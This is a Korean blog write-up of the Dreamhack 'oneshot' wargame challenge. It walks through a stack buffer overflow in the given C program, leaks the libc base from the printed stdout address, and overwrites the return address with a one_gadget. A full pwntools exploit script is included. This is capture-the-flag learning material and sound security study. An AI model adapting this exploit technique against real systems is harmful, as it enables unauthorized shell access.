// gcc -o oneshot1 oneshot1.c -fno-stack-protector -fPIC -pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
char msg[16];
size_t check = 0;
initialize();
printf("stdout: %p\n", stdout);
printf("MSG: ");
read(0, msg, 46);
if(check > 0) {
exit(0);
}
printf("MSG: %s\n", msg);
memset(msg, 0, sizeof(msg));
return 0;
}
위 코드는 문제에서 주어진 코드이다. msg 배열과 check 변수를 생성하고 stdout의 주소와 "MSG: "를 출력하고 read로 46만큼 msg에 읽어들인다. 아래 main 함수 디스어셈블 결과를 바탕으로 스택을 예측하겠다.
+=======================+high
| |
| |
| |
| main ret |
| main sfp |
| check=0 | // <+15>: mov QWORD PTR [rbp-0x8],0x0
| ... |
| ... |
| ... |
| msg | // <+80>: lea rax,[rbp-0x20]
| |
| |
| |
| |
| |
| |
| |
+=======================+low
코드가 정상적으로 진행될 경우 스택은 위와 같다. 문제 코드에서 stdout 주소를 제공하므로 해당 주소를 통해 libcbase 주소를 알아내어 main ret 주소에 oneshot 가젯을 주입하면 익스플로잇 될 것이다. oneshot 가젯이란 oneshot 의미 그대로 한 방에 쉘을 탈취하는 가젯이다. 하지만 현재 대부분의 시스템이 oneshot 성공률을 낮추기 위해 노력하고 있기 때문에 성공률이 점점 낮아지고 있고 입지가 점점 좁아지고 있다. 이번 문제에서 oneshot 가젯을 주입할 때 주의할 점은 check 변수 부분이 0보다 크면 프로그램이 종료되므로 check에는 다시 0을 주입한다.
one_gadget 툴을 이용하여 문제에서 제공된 libc에서 one_gadget을 찾으면 4개가 나온다. 해당 주소를 익스플로잇 코드에 기록한다. 익스플로잇 코드는 아래와 같다.
from pwn import *
#r=process('./basic_rop_x64')
r=remote("host1.dreamhack.games",18889)
e=ELF('./oneshot')
libc=ELF('./libc.so.6')
context.log_level='debug'
def main():
oneshot1=0x45216
oneshot2=0x4526a
oneshot3=0xf02a4
oneshot4=0xf1147
r.recvuntil("stdout: ")
leak=int(r.recv(14),16)
print("[+] leak:" + hex(leak))
print('[+] stdout: ' + hex(libc.sym['_IO_2_1_stdout_']))
libcbase=leak-libc.sym['_IO_2_1_stdout_']
print('[+] libcbase: ' + hex(libcbase))
one_gadget=libcbase+oneshot1
payload = b'a'*24+p64(0)+b'a'*8+p64(one_gadget)
r.sendafter('MSG: ',payload)
r.send(payload)
r.interactive()
if __name__ == '__main__':
main()
익스플로잇 코드를 요약하면 stdout 주소를 획득하여 stdout 실제 주소에서 오프셋을 빼면 libcbase를 구할 수 있다. one_gadget으로 구한 oneshot 하나를 골라 libcbase에 덧셈하여 one_gadget을 만든다. check 앞까지 덮어씌우기 위해 'a' 24개를 페이로드에 추가하고 check에는 0을 주입한다. 다음으로 main sfp는 필요없으므로 'a' 8개로 채우고 main ret을 one_gadget으로 덮어준다. 스택은 아래와 같다.
+=======================+high
| |
| |
| |
| one_gadget |
| 'aaaaaaaa' |
| 0 -> 0 |
| 'aaaaaaaa' |
| 'aaaaaaaa' |
| 'aaaaaaaa' |
| msg -> 'aaaaaaaa' |
| |
| |
| |
| |
| |
| |
| |
+=======================+low
'시스템 해킹 > 드림핵' 카테고리의 다른 글
[Dreamhack] sint (0) | 2021.07.15 |
---|---|
[Dreamhack] basic_exploitation_003 (0) | 2021.05.22 |
[Dreamhack] Off_by_one_001 (0) | 2021.05.07 |
[Dreamhack] basic_rop_x64 (0) | 2021.05.05 |
[Dreamhack] basic_rop_x86 (1) | 2021.05.03 |
댓글